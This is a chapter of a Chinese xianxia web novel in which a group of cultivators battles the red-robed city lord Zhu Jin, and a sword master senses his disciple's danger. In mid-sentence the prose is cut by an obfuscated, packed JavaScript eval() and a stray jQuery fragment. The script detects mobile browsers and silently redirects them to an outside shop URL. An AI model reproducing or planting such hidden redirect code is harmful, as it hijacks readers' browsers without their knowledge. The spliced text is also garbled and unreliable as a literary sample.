月色溶溶,以苏允为首的一行人踏进了高耸华丽的楼阁。
这一路上最令人惊讶的便是没有人在路上阻拦,一路畅通。长廊十步一窗,两侧摆满珍品,可谓是琳琅满目。
许星画忍不住喟叹一声;“这奢华程度跟我爹私库不相上下了啊。”
众所周知,音修丹修都是不缺钱的主,李牧是医修,虽然会炼丹,但在丹药一术上着实不精通,苏允只是一个很普通的剑修,而刀修和剑修是如出一辙的贫穷,更甭提云景的女修至交众多,每逢节日便要送礼,再加上保养刀的花费,他更是穷中穷。
若不提师门三人的祸心,江辞玉算是富有的,想要什么物品,两位师兄皆会送到她面前,乌惊栖作为宗门天骄,花销其实并不多,剑修公认的销金窟——佩剑,其花销由宗门负责,而且其师尊云霄对其也很好,自是不缺珍宝的。
江辞玉沿路摸着墙壁,壁上花云纹路精致,几人每隔一会便会经过一帘纱,没过一会便行至门前。
乌惊栖面上带着警惕,一手紧握着腰间别着的长空,一手推开沉重的大门。
“来的倒是比我预料的快呢。”红衣男子斜坐在屋中最中间的椅座上左腿搭在座椅,右腿松松放着,修长的手捻着梅花,迤逦的眉眼低垂着。
他的视线越过前面几人直勾勾地看着最后面的江辞玉,语气带着明晃晃的愉悦,“又见面了,江姑娘。”
乌惊栖眉头轻皱,微微移动几步站在她面前,替她挡住烛烬复杂的目光。
“姑娘这一次可否回答我呢?”
“什么?”
红衣男子弯着眉,对于她能说话这事并没有很惊讶,缓缓吐出两个字:“李姌。”
乌惊栖听到这个熟悉的名字霎时间便抬起头,迤逦的眉眼紧紧盯着那个红衣男子,江辞玉也蹙着眉头,从第一次听到这个名字开始她便觉得过分熟悉,她莫名联想到之前在幻境见到的那个女子。
她有一种预感,那个跟烛烬关系匪浅的女子就是那李府大小姐。
“我并不认识她。”她听到自己平淡地回答他,
“是吗?”烛烬缓缓落地,一双红眸看着江辞玉的眼神满是怀念。
“啧。”乌惊栖横剑于身前,苏允也紧随着拔剑。
烛烬并不在意其余几人,只是迫切的想要知道一个答案“垂云城江家?”
“是……”听到这个久违的名号江辞玉难得的愣了好一会才回答他。
风骤起,红衣袖摆翻飞,清脆的铃声翻涌响起,烛烬的声音在法力的加持下显得更为清澈响亮。
“看在你与她之间的关系我无意伤你。”他单手抬起迅速结阵,江辞玉脚下瞬间出现未知阵法,一旁的乌惊栖拔出长空,清脆的破阵声响起。
乌惊栖单手揽住江辞玉的腰身,另一只手握长空,剑尖直指烛烬。
“立场不同,你要我们如何信服于你,云景,好机会。”
早在烛烬将注意力放在江辞玉身上时其余几人便寻找机会贴近他的身边,云景牢牢挂在烛烬身后不远的墙上,听见自家师兄唤名便咧着嘴拔出大刀直愣愣地挥向烛烬。
烛烬侧身看去,被磨的发亮的刀尖迅速贴近,他下意识向前移去,却差点与火球撞了个满怀。
许星画笑意盈盈地将手上残留的符灰拍干净,“这高级火球符我家老爹可给我塞了一堆呢。”
城主还来不及反击剑光便迎面而来,苏允和已落地的云景对视一瞬,随后各自向后大退一步,无数根银针从二人分开之地如流星般迅速刺向烛烬。
“啧。”烛烬冷着脸将银针控住,“江辞玉,我耐心有限,看在她的份上我可以留你一命放你离开,最后问你一次走还是不走。”
许星画面露不满:“什么意思哇,现在是你被我们追着打欸。”
云景单脚踩在插入地面的大刀上,一手擦过鼻子,面上满是不屑:“被小爷追着跑的人可没有资格说放我们江师姐一命。”
江辞玉微微蹙眉,在她所受到的教育中并没有不战而退这个说法,虽然她的直觉一直在预警她。
危险!这里非常危险!
空气中焦灼的气息逐渐蔓延开来,乌惊栖揽着江辞玉向前走了几步,正好踏出了烛烬不知何时又设下的传送法阵。
乌惊栖笑道;“我会护住她的。”
他说的很轻,语气却带着不容置疑的笃定。
他并不是在向谁承诺,也并非想证明什么,他只是单纯地在陈述一个普通的事实。
一个普通到不能再普通的事。
烛烬紧盯着乌惊栖揽过江辞玉的手,随后又轻笑出声:“好。”
他轻轻一跃浮于半空,血红色的气波震飞距离较近的云景苏允几人,李牧单手撑着地面,另一只手扯住飞出去的许星画将她拉了回来。
红衣袖摆在风中翻涌,烛烬本就苍白的面孔越发不似常人,面上布满血色裂纹,他向前伸出手,血色红瞳缓缓聚焦,五指并拢。
江辞玉似有所觉,抬头便看着天花板一点一点地分解,露出上方如墨的天空,华贵的碎料一点一点地砸落下来。
“躲起来!”辞玉迅速拿出扇子,抬手一挥挡住扑面而来的碎屑。
云景在苏允的搀扶下站起身,勉力拔出插入地板的刀横于身前拦截碎屑,李牧半拖半拽的将许星画拉到云景身后,他又凑到苏允跟前,关切问道:“刚刚有受伤吗?”
苏允挠挠头,笑嘻嘻回道:“我们认识这么久,你又不是不知道我皮厚着呢,没那么容易受伤。”
他见面前人许久没有回话这才定睛看去,发现自家好友面上满是严肃还带着些莫名的怒气。苏允连忙撸起袖子将满是疤痕的手送到李牧面前。
“喏,你看,都是些旧伤。”他偷偷瞅了眼发现李牧神色愈发不好又补充道:“诶呀,你看我这次又没有受伤,而且我们修士受伤这不是很常见吗?”
“所以呀,你……”苏允顿住,看着李牧上手摸自己过去的伤疤,冰凉的触感还带着些痒。
李牧抬眸,苏允这才发现他的眸色并不单单是黑色,细看时会发现他眸中藏着一抹青绿。清冽的声音在身旁响起:“怎么不说话了?”
“咳,没什么……”苏允清了清嗓子,别开视线,没有再看着他。
“喂,你两干啥呢?”许星画凑近道。
李牧淡淡收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943342|214003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回手,“给他治疗一下伤口。”
苏允这才注意到自己的伤疤变淡了许多,许星画眨眨眼,“你居然可以淡化疤痕吗?”
她还想说什么却被云景咬着牙打断:“我们能不能等结束后再闲聊呀。”
“噢……”三人低声回应。
江辞玉在确认没有碎屑后便收回扇子对着身后的乌惊栖道:“不对劲,据消息他是金丹修为,可是给我的感觉却仿佛不止金丹。”
乌惊栖稍正神色,他们这一行人中只有他是金丹修为,而其他人……
他环视一圈,从随身袋中掏出一串红色的结绳,结绳无火却在他掌心中自燃。
“我通知我师尊了。”他看着少女单薄的背影开口道:“但我认为我们并不能坐以待毙。”
江辞玉勾起唇:“倒是巧了。”
“我跟你想的一样。”
云江峰上云雾缭绕,翠竹高耸挺拔,巨石上剑气痕迹满目,蓝衣仙君盘坐一旁,墨发高束,搁在一旁的长剑整体由寒冰所铸,剑柄用一圈布围住,红色的剑穗格外醒目。
“云霄,怎我每次一来你都是在修炼?”
蓝衣仙君淡声回应:“若无事便离去吧。云江峰不是人人都能来的。”
重恒剑君冷哼一声,身后的周砚今躬身行礼:“拜见云霄剑尊。”
“嗯,无须多礼。”云霄剑尊站起身,一块素色蒙巾凭空覆于眼上,他垂下的手轻晃,置于一旁的长剑便自主的回到了腰上别着的剑鞘中,剑鞘近处还挂着串银铃。
周砚今默默退回重恒身后,重恒开门见山道:“我竟不知云霄剑尊有如此大方,连珍贵的辅助灵器都可以赠予素未蒙面之人。”他看着那快蒙住云霄双眼的布一字一句道:“你可是比我那徒弟更需要那灵器。”
“本尊已然习惯不视万物的日子。”他声音依然平静如水,“所以本尊并不需要,就算没有眼睛,本尊也看得清你们。”
“重恒,你最爱的徒弟可以正常言语你不应该开心吗?”他浅歪着头,语气中似乎满是不解。
这话戳中他心中那点隐秘的想法,重恒咬牙切齿道:“管好你的徒弟,云霄,若不是看在他是青鸣宗弟子的份上,本君已经杀他无数次了。”
云霄正起身子,随意应道:“本尊没兴趣管那俩,他俩不死就行。”
“云霄!你……”
丁零丁零——
重恒的话被云霄腰上铃铛的响声打断,铃铛的主人周边气息瞬间沉下来。重恒有些幸灾乐祸道:“看来你徒弟出事了呀。”
话音刚落,寒冽的剑气便迎面而来,伴随的还有云霄的声音:“你徒弟也在。”
周砚今垂着头,不敢看自家师尊阴沉的面色,手中紧攥着的纸鹤已然彻底变形。
那是他前不久收到的,还未来得及销毁便被重恒叫来,重恒看着云霄渐渐消失的背影道:“跟上。”
“是。师尊。”
周砚今抬头看着师尊的背影,在确认他不会回来后,拆开手中的纸鹤,上面用着极其嚣张的字体写着:
事情败露,速来!
落款人:烛烬
“啧,蠢货……”